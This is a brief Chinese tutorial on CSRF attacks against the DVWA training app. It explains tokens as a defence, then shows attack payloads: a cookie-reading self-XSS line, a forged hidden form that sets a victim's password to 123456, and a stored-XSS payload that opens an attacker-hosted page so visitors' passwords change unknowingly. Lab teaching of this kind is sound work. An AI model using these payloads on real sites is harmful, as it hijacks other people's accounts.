原理:攻击者发现网站存在CSRF漏洞后构造payload制作成网页,用户访问存在CSRF漏洞的网站且登陆到后台获取cookie,此时攻击者将payload网站给到用户,用户打开网站后执行payload造成一次CSRF攻击。
产生原因:服务器没有对客户端的用户做身份校验,验证用户身份是否合法,导致用户能随意的上传内容。
防止CSRF的方式:
1、首先调整DVWA的难易程度

2、测试CSRF

在含有CSRF漏洞中,我们提交的数据是直接在URL栏中显示,如果有人将这样带着修改密码的URL地址诱导人们点击,就会在不知道的情况下修改了自己的密码。
此时我们加上token值时,每次我们发送数据时都会带上一段token值,服务端看到有token值时就相当于验证用户身份,而攻击者发送恶意数据时不会生成token值,就不会被服务端识别。
<input type="hidden" name="token" value="">
self XSS可以获得cookie值,但是由于只能在自己的网站上使用,所以获取的cookie值为自己的cookie值
<script>alert(document.cookie)script>

1、我们使用CSRFTester软件,该软件监听8008接口

2、调整服务器代理

3、提交CSRF中修改的密码

4、生成form表单

生成的form表单为
- <input type="hidden" name="password_new" value="123456"/>
- <input type="hidden" name="password_conf" value="123456"/>
- <input type="hidden" name="Change" value="Change" />
5、构造XSS代码,测试是否成功
<script src="x" onerror=javascript:window.open("http://192.168.1.100/index.html")>script>

6、之后有人访问存储型XSS模块页面,浏览器会自动跳转,同时返回修改密码的界面,当界面中有Password Changed ,就说明用户的密码修改成功了。
